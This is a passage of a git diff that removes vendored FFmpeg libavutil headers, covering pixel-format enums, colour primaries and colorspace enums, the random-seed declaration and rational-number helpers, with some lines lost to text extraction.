AV_PIX_FMT_YUV420P9LE, ///< planar YUV 4:2:0, 13.5bpp, (1 Cr & Cb sample per 2x2 Y samples), little-endian - AV_PIX_FMT_YUV420P10BE,///< planar YUV 4:2:0, 15bpp, (1 Cr & Cb sample per 2x2 Y samples), big-endian - AV_PIX_FMT_YUV420P10LE,///< planar YUV 4:2:0, 15bpp, (1 Cr & Cb sample per 2x2 Y samples), little-endian - AV_PIX_FMT_YUV422P10BE,///< planar YUV 4:2:2, 20bpp, (1 Cr & Cb sample per 2x1 Y samples), big-endian - AV_PIX_FMT_YUV422P10LE,///< planar YUV 4:2:2, 20bpp, (1 Cr & Cb sample per 2x1 Y samples), little-endian - AV_PIX_FMT_YUV444P9BE, ///< planar YUV 4:4:4, 27bpp, (1 Cr & Cb sample per 1x1 Y samples), big-endian - AV_PIX_FMT_YUV444P9LE, ///< planar YUV 4:4:4, 27bpp, (1 Cr & Cb sample per 1x1 Y samples), little-endian - AV_PIX_FMT_YUV444P10BE,///< planar YUV 4:4:4, 30bpp, (1 Cr & Cb sample per 1x1 Y samples), big-endian - AV_PIX_FMT_YUV444P10LE,///< planar YUV 4:4:4, 30bpp, (1 Cr & Cb sample per 1x1 Y samples), little-endian - AV_PIX_FMT_YUV422P9BE, ///< planar YUV 4:2:2, 18bpp, (1 Cr & Cb sample per 2x1 Y samples), big-endian - AV_PIX_FMT_YUV422P9LE, ///< planar YUV 4:2:2, 18bpp, (1 Cr & Cb sample per 2x1 Y samples), little-endian - AV_PIX_FMT_VDA_VLD, ///< hardware decoding through VDA - AV_PIX_FMT_GBRP, ///< planar GBR 4:4:4 24bpp - AV_PIX_FMT_GBRP9BE, ///< planar GBR 4:4:4 27bpp, big-endian - AV_PIX_FMT_GBRP9LE, ///< planar GBR 4:4:4 27bpp, little-endian - AV_PIX_FMT_GBRP10BE, ///< planar GBR 4:4:4 30bpp, big-endian - AV_PIX_FMT_GBRP10LE, ///< planar GBR 4:4:4 30bpp, little-endian - AV_PIX_FMT_GBRP16BE, ///< planar GBR 4:4:4 48bpp, big-endian - AV_PIX_FMT_GBRP16LE, ///< planar GBR 4:4:4 48bpp, little-endian - AV_PIX_FMT_YUVA422P, ///< planar YUV 4:2:2 24bpp, (1 Cr & Cb sample per 2x1 Y & A samples) - AV_PIX_FMT_YUVA444P, ///< planar YUV 4:4:4 32bpp, (1 Cr & Cb sample per 1x1 Y & A samples) - AV_PIX_FMT_YUVA420P9BE, ///< planar YUV 4:2:0 22.5bpp, (1 Cr & Cb sample per 2x2 Y & A samples), big-endian - AV_PIX_FMT_YUVA420P9LE, ///< planar YUV 4:2:0 22.5bpp, (1 Cr & Cb sample per 2x2 Y & A samples), little-endian - AV_PIX_FMT_YUVA422P9BE, ///< planar YUV 4:2:2 27bpp, (1 Cr & Cb sample per 2x1 Y & A samples), big-endian - AV_PIX_FMT_YUVA422P9LE, ///< planar YUV 4:2:2 27bpp, (1 Cr & Cb sample per 2x1 Y & A samples), little-endian - AV_PIX_FMT_YUVA444P9BE, ///< planar YUV 4:4:4 36bpp, (1 Cr & Cb sample per 1x1 Y & A samples), big-endian - AV_PIX_FMT_YUVA444P9LE, ///< planar YUV 4:4:4 36bpp, (1 Cr & Cb sample per 1x1 Y & A samples), little-endian - AV_PIX_FMT_YUVA420P10BE, ///< planar YUV 4:2:0 25bpp, (1 Cr & Cb sample per 2x2 Y & A samples, big-endian) - AV_PIX_FMT_YUVA420P10LE, ///< planar YUV 4:2:0 25bpp, (1 Cr & Cb sample per 2x2 Y & A samples, little-endian) - AV_PIX_FMT_YUVA422P10BE, ///< planar YUV 4:2:2 30bpp, (1 Cr & Cb sample per 2x1 Y & A samples, big-endian) - AV_PIX_FMT_YUVA422P10LE, ///< planar YUV 4:2:2 30bpp, (1 Cr & Cb sample per 2x1 Y & A samples, little-endian) - AV_PIX_FMT_YUVA444P10BE, ///< planar YUV 4:4:4 40bpp, (1 Cr & Cb sample per 1x1 Y & A samples, big-endian) - AV_PIX_FMT_YUVA444P10LE, ///< planar YUV 4:4:4 40bpp, (1 Cr & Cb sample per 1x1 Y & A samples, little-endian) - AV_PIX_FMT_YUVA420P16BE, ///< planar YUV 4:2:0 40bpp, (1 Cr & Cb sample per 2x2 Y & A samples, big-endian) - AV_PIX_FMT_YUVA420P16LE, ///< planar YUV 4:2:0 40bpp, (1 Cr & Cb sample per 2x2 Y & A samples, little-endian) - AV_PIX_FMT_YUVA422P16BE, ///< planar YUV 4:2:2 48bpp, (1 Cr & Cb sample per 2x1 Y & A samples, big-endian) - AV_PIX_FMT_YUVA422P16LE, ///< planar YUV 4:2:2 48bpp, (1 Cr & Cb sample per 2x1 Y & A samples, little-endian) - AV_PIX_FMT_YUVA444P16BE, ///< planar YUV 4:4:4 64bpp, (1 Cr & Cb sample per 1x1 Y & A samples, big-endian) - AV_PIX_FMT_YUVA444P16LE, ///< planar YUV 4:4:4 64bpp, (1 Cr & Cb sample per 1x1 Y & A samples, little-endian) - - AV_PIX_FMT_VDPAU, ///< HW acceleration through VDPAU, Picture.data[3] contains a VdpVideoSurface - - AV_PIX_FMT_XYZ12LE, ///< packed XYZ 4:4:4, 36 bpp, (msb) 12X, 12Y, 12Z (lsb), the 2-byte value for each X/Y/Z is stored as little-endian, the 4 lower bits are set to 0 - AV_PIX_FMT_XYZ12BE, ///< packed XYZ 4:4:4, 36 bpp, (msb) 12X, 12Y, 12Z (lsb), the 2-byte value for each X/Y/Z is stored as big-endian, the 4 lower bits are set to 0 - AV_PIX_FMT_NV16, ///< interleaved chroma YUV 4:2:2, 16bpp, (1 Cr & Cb sample per 2x1 Y samples) - AV_PIX_FMT_NV20LE, ///< interleaved chroma YUV 4:2:2, 20bpp, (1 Cr & Cb sample per 2x1 Y samples), little-endian - AV_PIX_FMT_NV20BE, ///< interleaved chroma YUV 4:2:2, 20bpp, (1 Cr & Cb sample per 2x1 Y samples), big-endian - - AV_PIX_FMT_RGBA64BE, ///< packed RGBA 16:16:16:16, 64bpp, 16R, 16G, 16B, 16A, the 2-byte value for each R/G/B/A component is stored as big-endian - AV_PIX_FMT_RGBA64LE, ///< packed RGBA 16:16:16:16, 64bpp, 16R, 16G, 16B, 16A, the 2-byte value for each R/G/B/A component is stored as little-endian - AV_PIX_FMT_BGRA64BE, ///< packed RGBA 16:16:16:16, 64bpp, 16B, 16G, 16R, 16A, the 2-byte value for each R/G/B/A component is stored as big-endian - AV_PIX_FMT_BGRA64LE, ///< packed RGBA 16:16:16:16, 64bpp, 16B, 16G, 16R, 16A, the 2-byte value for each R/G/B/A component is stored as little-endian - - AV_PIX_FMT_YVYU422, ///< packed YUV 4:2:2, 16bpp, Y0 Cr Y1 Cb - - AV_PIX_FMT_VDA, ///< HW acceleration through VDA, data[3] contains a CVPixelBufferRef - - AV_PIX_FMT_YA16BE, ///< 16bit gray, 16bit alpha (big-endian) - AV_PIX_FMT_YA16LE, ///< 16bit gray, 16bit alpha (little-endian) - - AV_PIX_FMT_GBRAP, ///< planar GBRA 4:4:4:4 32bpp - AV_PIX_FMT_GBRAP16BE, ///< planar GBRA 4:4:4:4 64bpp, big-endian - AV_PIX_FMT_GBRAP16LE, ///< planar GBRA 4:4:4:4 64bpp, little-endian - /** - * HW acceleration through QSV, data[3] contains a pointer to the - * mfxFrameSurface1 structure. - */ - AV_PIX_FMT_QSV, - /** - * HW acceleration though MMAL, data[3] contains a pointer to the - * MMAL_BUFFER_HEADER_T structure. - */ - AV_PIX_FMT_MMAL, - - AV_PIX_FMT_D3D11VA_VLD, ///< HW decoding through Direct3D11, Picture.data[3] contains a ID3D11VideoDecoderOutputView pointer - - AV_PIX_FMT_0RGB=0x123+4,///< packed RGB 8:8:8, 32bpp, XRGBXRGB... X=unused/undefined - AV_PIX_FMT_RGB0, ///< packed RGB 8:8:8, 32bpp, RGBXRGBX... X=unused/undefined - AV_PIX_FMT_0BGR, ///< packed BGR 8:8:8, 32bpp, XBGRXBGR... X=unused/undefined - AV_PIX_FMT_BGR0, ///< packed BGR 8:8:8, 32bpp, BGRXBGRX... X=unused/undefined - - AV_PIX_FMT_YUV420P12BE, ///< planar YUV 4:2:0,18bpp, (1 Cr & Cb sample per 2x2 Y samples), big-endian - AV_PIX_FMT_YUV420P12LE, ///< planar YUV 4:2:0,18bpp, (1 Cr & Cb sample per 2x2 Y samples), little-endian - AV_PIX_FMT_YUV420P14BE, ///< planar YUV 4:2:0,21bpp, (1 Cr & Cb sample per 2x2 Y samples), big-endian - AV_PIX_FMT_YUV420P14LE, ///< planar YUV 4:2:0,21bpp, (1 Cr & Cb sample per 2x2 Y samples), little-endian - AV_PIX_FMT_YUV422P12BE, ///< planar YUV 4:2:2,24bpp, (1 Cr & Cb sample per 2x1 Y samples), big-endian - AV_PIX_FMT_YUV422P12LE, ///< planar YUV 4:2:2,24bpp, (1 Cr & Cb sample per 2x1 Y samples), little-endian - AV_PIX_FMT_YUV422P14BE, ///< planar YUV 4:2:2,28bpp, (1 Cr & Cb sample per 2x1 Y samples), big-endian - AV_PIX_FMT_YUV422P14LE, ///< planar YUV 4:2:2,28bpp, (1 Cr & Cb sample per 2x1 Y samples), little-endian - AV_PIX_FMT_YUV444P12BE, ///< planar YUV 4:4:4,36bpp, (1 Cr & Cb sample per 1x1 Y samples), big-endian - AV_PIX_FMT_YUV444P12LE, ///< planar YUV 4:4:4,36bpp, (1 Cr & Cb sample per 1x1 Y samples), little-endian - AV_PIX_FMT_YUV444P14BE, ///< planar YUV 4:4:4,42bpp, (1 Cr & Cb sample per 1x1 Y samples), big-endian - AV_PIX_FMT_YUV444P14LE, ///< planar YUV 4:4:4,42bpp, (1 Cr & Cb sample per 1x1 Y samples), little-endian - AV_PIX_FMT_GBRP12BE, ///< planar GBR 4:4:4 36bpp, big-endian - AV_PIX_FMT_GBRP12LE, ///< planar GBR 4:4:4 36bpp, little-endian - AV_PIX_FMT_GBRP14BE, ///< planar GBR 4:4:4 42bpp, big-endian - AV_PIX_FMT_GBRP14LE, ///< planar GBR 4:4:4 42bpp, little-endian - AV_PIX_FMT_YUVJ411P, ///< planar YUV 4:1:1, 12bpp, (1 Cr & Cb sample per 4x1 Y samples) full scale (JPEG), deprecated in favor of AV_PIX_FMT_YUV411P and setting color_range - - AV_PIX_FMT_BAYER_BGGR8, ///< bayer, BGBG..(odd line), GRGR..(even line), 8-bit samples */ - AV_PIX_FMT_BAYER_RGGB8, ///< bayer, RGRG..(odd line), GBGB..(even line), 8-bit samples */ - AV_PIX_FMT_BAYER_GBRG8, ///< bayer, GBGB..(odd line), RGRG..(even line), 8-bit samples */ - AV_PIX_FMT_BAYER_GRBG8, ///< bayer, GRGR..(odd line), BGBG..(even line), 8-bit samples */ - AV_PIX_FMT_BAYER_BGGR16LE, ///< bayer, BGBG..(odd line), GRGR..(even line), 16-bit samples, little-endian */ - AV_PIX_FMT_BAYER_BGGR16BE, ///< bayer, BGBG..(odd line), GRGR..(even line), 16-bit samples, big-endian */ - AV_PIX_FMT_BAYER_RGGB16LE, ///< bayer, RGRG..(odd line), GBGB..(even line), 16-bit samples, little-endian */ - AV_PIX_FMT_BAYER_RGGB16BE, ///< bayer, RGRG..(odd line), GBGB..(even line), 16-bit samples, big-endian */ - AV_PIX_FMT_BAYER_GBRG16LE, ///< bayer, GBGB..(odd line), RGRG..(even line), 16-bit samples, little-endian */ - AV_PIX_FMT_BAYER_GBRG16BE, ///< bayer, GBGB..(odd line), RGRG..(even line), 16-bit samples, big-endian */ - AV_PIX_FMT_BAYER_GRBG16LE, ///< bayer, GRGR..(odd line), BGBG..(even line), 16-bit samples, little-endian */ - AV_PIX_FMT_BAYER_GRBG16BE, ///< bayer, GRGR..(odd line), BGBG..(even line), 16-bit samples, big-endian */ -#if !FF_API_XVMC - AV_PIX_FMT_XVMC,///< XVideo Motion Acceleration via common packet passing -#endif /* !FF_API_XVMC */ - AV_PIX_FMT_YUV440P10LE, ///< planar YUV 4:4:0,20bpp, (1 Cr & Cb sample per 1x2 Y samples), little-endian - AV_PIX_FMT_YUV440P10BE, ///< planar YUV 4:4:0,20bpp, (1 Cr & Cb sample per 1x2 Y samples), big-endian - AV_PIX_FMT_YUV440P12LE, ///< planar YUV 4:4:0,24bpp, (1 Cr & Cb sample per 1x2 Y samples), little-endian - AV_PIX_FMT_YUV440P12BE, ///< planar YUV 4:4:0,24bpp, (1 Cr & Cb sample per 1x2 Y samples), big-endian - AV_PIX_FMT_AYUV64LE, ///< packed AYUV 4:4:4,64bpp (1 Cr & Cb sample per 1x1 Y & A samples), little-endian - AV_PIX_FMT_AYUV64BE, ///< packed AYUV 4:4:4,64bpp (1 Cr & Cb sample per 1x1 Y & A samples), big-endian - - AV_PIX_FMT_VIDEOTOOLBOX, ///< hardware decoding through Videotoolbox - - AV_PIX_FMT_P010LE, ///< like NV12, with 10bpp per component, data in the high bits, zeros in the low bits, little-endian - AV_PIX_FMT_P010BE, ///< like NV12, with 10bpp per component, data in the high bits, zeros in the low bits, big-endian - - AV_PIX_FMT_NB, ///< number of pixel formats, DO NOT USE THIS if you want to link with shared libav* because the number of formats might differ between versions -}; - -#define AV_PIX_FMT_Y400A AV_PIX_FMT_GRAY8A -#define AV_PIX_FMT_GBR24P AV_PIX_FMT_GBRP - -#if AV_HAVE_BIGENDIAN -# define AV_PIX_FMT_NE(be, le) AV_PIX_FMT_##be -#else -# define AV_PIX_FMT_NE(be, le) AV_PIX_FMT_##le -#endif - -#define AV_PIX_FMT_RGB32 AV_PIX_FMT_NE(ARGB, BGRA) -#define AV_PIX_FMT_RGB32_1 AV_PIX_FMT_NE(RGBA, ABGR) -#define AV_PIX_FMT_BGR32 AV_PIX_FMT_NE(ABGR, RGBA) -#define AV_PIX_FMT_BGR32_1 AV_PIX_FMT_NE(BGRA, ARGB) -#define AV_PIX_FMT_0RGB32 AV_PIX_FMT_NE(0RGB, BGR0) -#define AV_PIX_FMT_0BGR32 AV_PIX_FMT_NE(0BGR, RGB0) - -#define AV_PIX_FMT_GRAY16 AV_PIX_FMT_NE(GRAY16BE, GRAY16LE) -#define AV_PIX_FMT_YA16 AV_PIX_FMT_NE(YA16BE, YA16LE) -#define AV_PIX_FMT_RGB48 AV_PIX_FMT_NE(RGB48BE, RGB48LE) -#define AV_PIX_FMT_RGB565 AV_PIX_FMT_NE(RGB565BE, RGB565LE) -#define AV_PIX_FMT_RGB555 AV_PIX_FMT_NE(RGB555BE, RGB555LE) -#define AV_PIX_FMT_RGB444 AV_PIX_FMT_NE(RGB444BE, RGB444LE) -#define AV_PIX_FMT_RGBA64 AV_PIX_FMT_NE(RGBA64BE, RGBA64LE) -#define AV_PIX_FMT_BGR48 AV_PIX_FMT_NE(BGR48BE, BGR48LE) -#define AV_PIX_FMT_BGR565 AV_PIX_FMT_NE(BGR565BE, BGR565LE) -#define AV_PIX_FMT_BGR555 AV_PIX_FMT_NE(BGR555BE, BGR555LE) -#define AV_PIX_FMT_BGR444 AV_PIX_FMT_NE(BGR444BE, BGR444LE) -#define AV_PIX_FMT_BGRA64 AV_PIX_FMT_NE(BGRA64BE, BGRA64LE) - -#define AV_PIX_FMT_YUV420P9 AV_PIX_FMT_NE(YUV420P9BE , YUV420P9LE) -#define AV_PIX_FMT_YUV422P9 AV_PIX_FMT_NE(YUV422P9BE , YUV422P9LE) -#define AV_PIX_FMT_YUV444P9 AV_PIX_FMT_NE(YUV444P9BE , YUV444P9LE) -#define AV_PIX_FMT_YUV420P10 AV_PIX_FMT_NE(YUV420P10BE, YUV420P10LE) -#define AV_PIX_FMT_YUV422P10 AV_PIX_FMT_NE(YUV422P10BE, YUV422P10LE) -#define AV_PIX_FMT_YUV440P10 AV_PIX_FMT_NE(YUV440P10BE, YUV440P10LE) -#define AV_PIX_FMT_YUV444P10 AV_PIX_FMT_NE(YUV444P10BE, YUV444P10LE) -#define AV_PIX_FMT_YUV420P12 AV_PIX_FMT_NE(YUV420P12BE, YUV420P12LE) -#define AV_PIX_FMT_YUV422P12 AV_PIX_FMT_NE(YUV422P12BE, YUV422P12LE) -#define AV_PIX_FMT_YUV440P12 AV_PIX_FMT_NE(YUV440P12BE, YUV440P12LE) -#define AV_PIX_FMT_YUV444P12 AV_PIX_FMT_NE(YUV444P12BE, YUV444P12LE) -#define AV_PIX_FMT_YUV420P14 AV_PIX_FMT_NE(YUV420P14BE, YUV420P14LE) -#define AV_PIX_FMT_YUV422P14 AV_PIX_FMT_NE(YUV422P14BE, YUV422P14LE) -#define AV_PIX_FMT_YUV444P14 AV_PIX_FMT_NE(YUV444P14BE, YUV444P14LE) -#define AV_PIX_FMT_YUV420P16 AV_PIX_FMT_NE(YUV420P16BE, YUV420P16LE) -#define AV_PIX_FMT_YUV422P16 AV_PIX_FMT_NE(YUV422P16BE, YUV422P16LE) -#define AV_PIX_FMT_YUV444P16 AV_PIX_FMT_NE(YUV444P16BE, YUV444P16LE) - -#define AV_PIX_FMT_GBRP9 AV_PIX_FMT_NE(GBRP9BE , GBRP9LE) -#define AV_PIX_FMT_GBRP10 AV_PIX_FMT_NE(GBRP10BE, GBRP10LE) -#define AV_PIX_FMT_GBRP12 AV_PIX_FMT_NE(GBRP12BE, GBRP12LE) -#define AV_PIX_FMT_GBRP14 AV_PIX_FMT_NE(GBRP14BE, GBRP14LE) -#define AV_PIX_FMT_GBRP16 AV_PIX_FMT_NE(GBRP16BE, GBRP16LE) -#define AV_PIX_FMT_GBRAP16 AV_PIX_FMT_NE(GBRAP16BE, GBRAP16LE) - -#define AV_PIX_FMT_BAYER_BGGR16 AV_PIX_FMT_NE(BAYER_BGGR16BE, BAYER_BGGR16LE) -#define AV_PIX_FMT_BAYER_RGGB16 AV_PIX_FMT_NE(BAYER_RGGB16BE, BAYER_RGGB16LE) -#define AV_PIX_FMT_BAYER_GBRG16 AV_PIX_FMT_NE(BAYER_GBRG16BE, BAYER_GBRG16LE) -#define AV_PIX_FMT_BAYER_GRBG16 AV_PIX_FMT_NE(BAYER_GRBG16BE, BAYER_GRBG16LE) - - -#define AV_PIX_FMT_YUVA420P9 AV_PIX_FMT_NE(YUVA420P9BE , YUVA420P9LE) -#define AV_PIX_FMT_YUVA422P9 AV_PIX_FMT_NE(YUVA422P9BE , YUVA422P9LE) -#define AV_PIX_FMT_YUVA444P9 AV_PIX_FMT_NE(YUVA444P9BE , YUVA444P9LE) -#define AV_PIX_FMT_YUVA420P10 AV_PIX_FMT_NE(YUVA420P10BE, YUVA420P10LE) -#define AV_PIX_FMT_YUVA422P10 AV_PIX_FMT_NE(YUVA422P10BE, YUVA422P10LE) -#define AV_PIX_FMT_YUVA444P10 AV_PIX_FMT_NE(YUVA444P10BE, YUVA444P10LE) -#define AV_PIX_FMT_YUVA420P16 AV_PIX_FMT_NE(YUVA420P16BE, YUVA420P16LE) -#define AV_PIX_FMT_YUVA422P16 AV_PIX_FMT_NE(YUVA422P16BE, YUVA422P16LE) -#define AV_PIX_FMT_YUVA444P16 AV_PIX_FMT_NE(YUVA444P16BE, YUVA444P16LE) - -#define AV_PIX_FMT_XYZ12 AV_PIX_FMT_NE(XYZ12BE, XYZ12LE) -#define AV_PIX_FMT_NV20 AV_PIX_FMT_NE(NV20BE, NV20LE) -#define AV_PIX_FMT_AYUV64 AV_PIX_FMT_NE(AYUV64BE, AYUV64LE) -#define AV_PIX_FMT_P010 AV_PIX_FMT_NE(P010BE, P010LE) - -/** - * Chromaticity coordinates of the source primaries. - */ -enum AVColorPrimaries { - AVCOL_PRI_RESERVED0 = 0, - AVCOL_PRI_BT709 = 1, ///< also ITU-R BT1361 / IEC 61966-2-4 / SMPTE RP177 Annex B - AVCOL_PRI_UNSPECIFIED = 2, - AVCOL_PRI_RESERVED = 3, - AVCOL_PRI_BT470M = 4, ///< also FCC Title 47 Code of Federal Regulations 73.682 (a)(20) - - AVCOL_PRI_BT470BG = 5, ///< also ITU-R BT601-6 625 / ITU-R BT1358 625 / ITU-R BT1700 625 PAL & SECAM - AVCOL_PRI_SMPTE170M = 6, ///< also ITU-R BT601-6 525 / ITU-R BT1358 525 / ITU-R BT1700 NTSC - AVCOL_PRI_SMPTE240M = 7, ///< functionally identical to above - AVCOL_PRI_FILM = 8, ///< colour filters using Illuminant C - AVCOL_PRI_BT2020 = 9, ///< ITU-R BT2020 - AVCOL_PRI_SMPTEST428_1= 10, ///< SMPTE ST 428-1 (CIE 1931 XYZ) - AVCOL_PRI_NB, ///< Not part of ABI -}; - -/** - * Color Transfer Characteristic. - */ -enum AVColorTransferCharacteristic { - AVCOL_TRC_RESERVED0 = 0, - AVCOL_TRC_BT709 = 1, ///< also ITU-R BT1361 - AVCOL_TRC_UNSPECIFIED = 2, - AVCOL_TRC_RESERVED = 3, - AVCOL_TRC_GAMMA22 = 4, ///< also ITU-R BT470M / ITU-R BT1700 625 PAL & SECAM - AVCOL_TRC_GAMMA28 = 5, ///< also ITU-R BT470BG - AVCOL_TRC_SMPTE170M = 6, ///< also ITU-R BT601-6 525 or 625 / ITU-R BT1358 525 or 625 / ITU-R BT1700 NTSC - AVCOL_TRC_SMPTE240M = 7, - AVCOL_TRC_LINEAR = 8, ///< "Linear transfer characteristics" - AVCOL_TRC_LOG = 9, ///< "Logarithmic transfer characteristic (100:1 range)" - AVCOL_TRC_LOG_SQRT = 10, ///< "Logarithmic transfer characteristic (100 * Sqrt(10) : 1 range)" - AVCOL_TRC_IEC61966_2_4 = 11, ///< IEC 61966-2-4 - AVCOL_TRC_BT1361_ECG = 12, ///< ITU-R BT1361 Extended Colour Gamut - AVCOL_TRC_IEC61966_2_1 = 13, ///< IEC 61966-2-1 (sRGB or sYCC) - AVCOL_TRC_BT2020_10 = 14, ///< ITU-R BT2020 for 10 bit system - AVCOL_TRC_BT2020_12 = 15, ///< ITU-R BT2020 for 12 bit system - AVCOL_TRC_SMPTEST2084 = 16, ///< SMPTE ST 2084 for 10, 12, 14 and 16 bit systems - AVCOL_TRC_SMPTEST428_1 = 17, ///< SMPTE ST 428-1 - AVCOL_TRC_NB, ///< Not part of ABI -}; - -/** - * YUV colorspace type. - */ -enum AVColorSpace { - AVCOL_SPC_RGB = 0, ///< order of coefficients is actually GBR, also IEC 61966-2-1 (sRGB) - AVCOL_SPC_BT709 = 1, ///< also ITU-R BT1361 / IEC 61966-2-4 xvYCC709 / SMPTE RP177 Annex B - AVCOL_SPC_UNSPECIFIED = 2, - AVCOL_SPC_RESERVED = 3, - AVCOL_SPC_FCC = 4, ///< FCC Title 47 Code of Federal Regulations 73.682 (a)(20) - AVCOL_SPC_BT470BG = 5, ///< also ITU-R BT601-6 625 / ITU-R BT1358 625 / ITU-R BT1700 625 PAL & SECAM / IEC 61966-2-4 xvYCC601 - AVCOL_SPC_SMPTE170M = 6, ///< also ITU-R BT601-6 525 / ITU-R BT1358 525 / ITU-R BT1700 NTSC / functionally identical to above - AVCOL_SPC_SMPTE240M = 7, - AVCOL_SPC_YCOCG = 8, ///< Used by Dirac / VC-2 and H.264 FRext, see ITU-T SG16 - AVCOL_SPC_BT2020_NCL = 9, ///< ITU-R BT2020 non-constant luminance system - AVCOL_SPC_BT2020_CL = 10, ///< ITU-R BT2020 constant luminance system - AVCOL_SPC_NB, ///< Not part of ABI -}; -#define AVCOL_SPC_YCGCO AVCOL_SPC_YCOCG - - -/** - * MPEG vs JPEG YUV range. - */ -enum AVColorRange { - AVCOL_RANGE_UNSPECIFIED = 0, - AVCOL_RANGE_MPEG = 1, ///< the normal 219*2^(n-8) "MPEG" YUV ranges - AVCOL_RANGE_JPEG = 2, ///< the normal 2^n-1 "JPEG" YUV ranges - AVCOL_RANGE_NB, ///< Not part of ABI -}; - -/** - * Location of chroma samples. - * - * Illustration showing the location of the first (top left) chroma sample of the - * image, the left shows only luma, the right - * shows the location of the chroma sample, the 2 could be imagined to overlay - * each other but are drawn separately due to limitations of ASCII - * - * 1st 2nd 1st 2nd horizontal luma sample positions - * v v v v - * ______ ______ - *1st luma line > |X X ... |3 4 X ... X are luma samples, - * | |1 2 1-6 are possible chroma positions - *2nd luma line > |X X ... |5 6 X ... 0 is undefined/unknown position - */ -enum AVChromaLocation { - AVCHROMA_LOC_UNSPECIFIED = 0, - AVCHROMA_LOC_LEFT = 1, ///< mpeg2/4 4:2:0, h264 default for 4:2:0 - AVCHROMA_LOC_CENTER = 2, ///< mpeg1 4:2:0, jpeg 4:2:0, h263 4:2:0 - AVCHROMA_LOC_TOPLEFT = 3, ///< ITU-R 601, SMPTE 274M 296M S314M(DV 4:1:1), mpeg2 4:2:2 - AVCHROMA_LOC_TOP = 4, - AVCHROMA_LOC_BOTTOMLEFT = 5, - AVCHROMA_LOC_BOTTOM = 6, - AVCHROMA_LOC_NB, ///< Not part of ABI -}; - -#endif /* AVUTIL_PIXFMT_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/random_seed.h b/desktop_3230/FFmpeg/include/libavutil/random_seed.h deleted file mode 100644 index 0462a04..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/random_seed.h +++ /dev/null @@ -1,43 +0,0 @@ -/* - * Copyright (c) 2009 Baptiste Coudurier - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVUTIL_RANDOM_SEED_H -#define AVUTIL_RANDOM_SEED_H - -#include -/** - * @addtogroup lavu_crypto - * @{ - */ - -/** - * Get a seed to use in conjunction with random functions. - * This function tries to provide a good seed at a best effort bases. - * Its possible to call this function multiple times if more bits are needed. - * It can be quite slow, which is why it should only be used as seed for a faster - * PRNG. The quality of the seed depends on the platform. - */ -uint32_t av_get_random_seed(void); - -/** - * @} - */ - -#endif /* AVUTIL_RANDOM_SEED_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/rational.h b/desktop_3230/FFmpeg/include/libavutil/rational.h deleted file mode 100644 index 2897469..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/rational.h +++ /dev/null @@ -1,173 +0,0 @@ -/* - * rational numbers - * Copyright (c) 2003 Michael Niedermayer - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -/** - * @file - * rational numbers - * @author Michael Niedermayer - */ - -#ifndef AVUTIL_RATIONAL_H -#define AVUTIL_RATIONAL_H - -#include -#include -#include "attributes.h" - -/** - * @addtogroup lavu_math - * @{ - */ - -/** - * rational number numerator/denominator - */ -typedef struct AVRational{ - int num; ///< numerator - int den; ///< denominator -} AVRational; - -/** - * Create a rational. - * Useful for compilers that do not support compound literals. - * @note The return value is not reduced. - */ -static inline AVRational av_make_q(int num, int den) -{ - AVRational r = { num, den }; - return r; -} - -/** - * Compare two rationals. - * @param a first rational - * @param b second rational - * @return 0 if a==b, 1 if a>b, -1 if a>63)|1; - else if(b.den && a.den) return 0; - else if(a.num && b.num) return (a.num>>31) - (b.num>>31); - else return INT_MIN; -} - -/** - * Convert rational to double. - * @param a rational to convert - * @return (double) a - */ -static inline double av_q2d(AVRational a){ - return a.num / (double) a.den; -} - -/** - * Reduce a fraction. - * This is useful for framerate calculations. - * @param dst_num destination numerator - * @param dst_den destination denominator - * @param num source numerator - * @param den source denominator - * @param max the maximum allowed for dst_num & dst_den - * @return 1 if exact, 0 otherwise - */ -int av_reduce(int *dst_num, int *dst_den, int64_t num, int64_t den, int64_t max); - -/** - * Multiply two rationals. - * @param b first rational - * @param c second rational - * @return b*c - */ -AVRational av_mul_q(AVRational b, AVRational c) av_const; - -/** - * Divide one rational by another. - * @param b first rational - * @param c second rational - * @return b/c - */ -AVRational av_div_q(AVRational b, AVRational c) av_const; - -/** - * Add two rationals. - * @param b first rational - * @param c second rational - * @return b+c - */ -AVRational av_add_q(AVRational b, AVRational c) av_const; - -/** - * Subtract one rational from another. - * @param b first rational - * @param c second rational - * @return b-c - */ -AVRational av_sub_q(AVRational b, AVRational c) av_const; - -/** - * Invert a rational. - * @param q value - * @return 1 / q - */ -static av_always_inline AVRational av_inv_q(AVRational q) -{ - AVRational r = { q.den, q.num }; - return r; -} - -/** - * Convert a double precision floating point number to a rational. - * inf is expressed as {1,0} or {-1,0} depending on the sign. - * - * @param d double to convert - * @param max the maximum allowed numerator and denominator - * @return (AVRational) d - */ -AVRational av_d2q(double d, int max) av_const; - -/** - * @return 1 if q1 is nearer to q than q2, -1 if q2 is nearer - * than q1, 0 if they have the same distance. - */ -int av_nearer_q(AVRational q, AVRational q1, AVRational q2); - -/** - * Find the nearest value in q_list to q. - * @param q_list an array of rationals terminated by {0, 0} - * @return the index of the nearest value found in the array - */ -int av_find_nearest_q_idx(AVRational q, const AVRational* q_list); - -/** - * Converts a AVRational to a IEEE 32bit float. - * - * The float is returned in a uint32_t and its value is platform indepenant. - */ -uint32_t av_q2intfloat(AVRational q); - -/** - * @} - 